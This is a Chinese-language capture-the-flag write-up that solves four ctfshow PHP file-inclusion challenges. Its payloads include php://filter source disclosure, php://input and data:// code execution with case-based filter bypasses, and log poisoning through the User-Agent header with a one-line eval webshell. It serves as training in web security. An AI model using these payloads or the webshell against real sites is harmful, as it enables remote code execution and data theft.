ctfshow-web入门-文件包含(web78、web79、web80、web81)
Myon⁶ 2024-07-21 17:03:04 阅读 72
目录
1、web78
2、web79
3、web80
4、web81
1、web78
存在文件包含函数:include
直接上 php 伪协议,用 php://filter 读文件(flag.php)的源码,payload:
<code>?file=php://filter/read=convert.base64-encode/resource=flag.php
得到:
<code>PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3M2JjOTUxNC03MDZmLTRjMWEtOGQ3Ny1iYjRhNDY1NGM1Zjl9Ijs=
base64 解码即可拿到 flag:ctfshow{73bc9514-706f-4c1a-8d77-bb4a4654c5f9}
我们也可以换一种编码方式输出,这样就不用再对结果进行 base64 解码了
payload:
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
2、web79
多了一个 str_replace("php", "???", $file); 会将我们输入的 php 替换为问号 ???
尝试大小写绕过,这里只适用于绕过协议名的 php 但是不适用于文件名,因为 Linux 系统上的 PHP 文件路径区分大小写。
没关系我们使用 php://input
构造 payload:
<code>?file=pHp://input
post 写入:
<?php phpinfo()?>
可以看到代码执行成功(注意这里 hackbar 推荐使用 Firefox 的,或者你用 bp 抓包)
如果你用的是谷歌的 hackbar,需要将 mode 开成 raw,否则没有回显
接下来我们修改 post 的 php 代码,读取 flag.php
<code><?php system('tac flag.php')?>
拿到 flag:ctfshow{6eb28328-d9a9-4c7a-a15b-b8b2d7da6a56}
此外我们也可以使用 data:// 协议进行代码执行,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。
构造 payload:
<code>?file=data://text/plain,<?=system("tac flag.php");?>
或者
?file=data://text/plain,<?=`tac flag.php`;
说明: <?= 是 echo() 的别名用法
此外还尝试了短标签,回顾一下 php 短标签:
<code><? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。code>
但是发现不行,因此继续使用大小写绕过,payload:
?file=data:text/plain,<?pHp system('tac flag.php');?>
最后再看一下题目提示给的 payload:
<code>?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
其中 PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs 是 <?php system('cat flag.php'); 的 base64 编码,也可以实现绕过。
3、web80
新增对 data 的过滤,大小写绕过 data 发现不行:
我们使用 pHp://input ,沿用上一题的 payload:
<code>?file=pHp://input
POST 写入:
<?php system('ls')?>
可以看到 存在 fl0g.php
读取:
<code><?php system('tac fl0g.php')?>
拿到 flag:ctfshow{159558f9-9375-4a90-ad2e-715075b20bbb}
查看提示:可以日志包含 getshell,可之前一道命令执行的题目很像
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
读一下这个日志文件:
<code>?file=/var/log/nginx/access.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
从上面的日志信息可以看出是 User-Agent 的内容,我们在 User-Agent 里插入一句话木马进行提交 :(和 web38 一模一样)
<code><?php @eval($_REQUEST['cmd']);?>
访问日志文件,调用木马:
命令执行成功,之后我们就可以直接获取 flag 了:
<code>cmd=system('tac fl0g.php');
4、web81
做完这道题,你就已经经历的九九八十一难,是不是感觉很快?
没关系,后面还是九百一十九难,加油吧,少年!
新增过滤分号 :,伪协议不好用了,还是用上一题的日志文件包含 getshell
在 ua 写入一句话木马
调用
拿到 flag:ctfshow{517a0a24-281b-43cc-a6fc-59484e04f3a8}
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。